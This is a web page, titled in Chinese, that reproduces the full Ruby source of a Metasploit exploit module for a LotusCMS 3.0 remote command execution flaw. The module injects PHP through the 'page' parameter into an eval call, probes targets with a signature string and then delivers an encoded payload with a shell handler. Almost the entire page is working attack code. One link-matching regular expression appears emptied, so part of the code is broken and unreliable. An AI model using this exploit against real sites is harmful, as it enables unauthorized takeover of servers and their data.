LotusCMS_3.0_eval()_遠程命令執行漏洞

# LotusCMS 3.0 eval() 遠程命令執行漏洞
==EXP==

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking
 include Msf::Exploit::Remote::HttpClient
 include Msf::Auxiliary::WmapScanUniqueQuery
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'LotusCMS 3.0 eval() Remote Command Execution',
   'Description'    => %q{
     This module exploits a vulnerability found in Lotus CMS 3.0's Router()
    function.  This is done by embedding PHP code in the 'page' parameter,
    which will be passed to a eval call, therefore allowing remote code execution.
     The module can either automatically pick up a 'page' parameter from the
    default page, or manually specify one in the URI option.  To use the automatic
    method, please supply the URI with just a directory path, for example: "/lcms/".
    To manually configure one, you may do: "/lcms/somepath/index.php?page=index"
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Alligator Security Team',
     'dflah_ ',
     'sherl0ck_ ',
     'sinn3r'  #Metasploit-fu
    ],
   'References'     =>
    [
     [ 'OSVDB', '75095' ],
     [ 'URL', 'http://secunia.com/secunia_research/2011-21/' ]
    ],
   'Payload'        =>
    {
     'Space'       => 4000, # only to prevent error HTTP 414 (Request-URI Too Long)
     'DisableNops' => true,
     'BadChars'    => "#",
     'Keys'        => ['php']
    },
   'Platform'        => [ 'php' ],
   'Arch'            => ARCH_PHP,
   'Targets'         => [[ 'Automatic LotusCMS 3.0', { }]],
   'Privileged'      => false,
   'DisclosureDate'  => 'Mar 3 2011',
   'DefaultTarget'   => 0))
  register_options(
  [
   OptString.new('URI', [true, 'URI', '/lcms/']),
   Opt::RPORT(80),
  ], self.class)
 end
 def target_url
  uri = datastore['URI']
  # Make sure uri begins with '/'
  if uri[0] != '/'
   uri = '/' + uri
  end
  # Extract two things:
  # 1. The file path (/index.php), including the base
  # 2. GET parameters from the GET query
  uri   = uri.scan(/^(\/.+)\/(\w+\.php)*\?*(\w+=.+&*)*$/).flatten
  base  = (uri[0] || "") + '/'
  fname = uri[1] || ""
  query = uri[2] || ""
  params = queryparse(query) rescue ""
  # Use the user-supplied query if there's one, if not we'll auto-detect
  # by regexing a hyper-link
  if base.empty? or fname.empty? or params.empty?
   res = send_request_cgi({
    'method' => 'GET',
    'uri'    => datastore['URI']
   }, 20)
   if res and res.code == 200
    uri = res.body.scan(//).flatten
    @uri = base + uri[0]
    @arg = uri[1]
    print_status("Using found page param: #{@uri}?#{@arg}")
   else
    @uri = ""
    @arg = ""
   end
  else
   @uri = base + fname
   @arg = "page=#{params['page']}"
  end
 end
 def check
  target_url
  if @uri.empty? or @arg.empty?
   print_error("Unable to get the page parameter, please reconfigure URI")
   return
  end
  signature = rand_text_alpha(rand(10)+10)
  stub = "${print('#{signature}')};"
  sploit = "');#{stub}#"
  response = send_request_cgi(
  {
   'method'  => 'POST',
   'uri' =>  @uri,
   'data' => @arg + Rex::Text.uri_encode(sploit)
  }, 20)
  if response and response.body =~ /#{signature}/
   print_status("Signature: #{signature}")
   return Exploit::CheckCode::Vulnerable
  else
   print_error("Signature was not detected")
   return Exploit::CheckCode::Safe
  end
 end
 def exploit
  return if not check == Exploit::CheckCode::Vulnerable
  begin
   sploit = "');#{payload.encoded}#"
   print_status("Sending exploit ...")
   res = send_request_cgi(
   {
    'method'  => 'POST',
    'uri' =>  @uri,
    'data' => @arg + Rex::Text.uri_encode(sploit)
   }, 20)
   handler
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  rescue ::Timeout::Error, ::Errno::EPIPE
  end
 end
end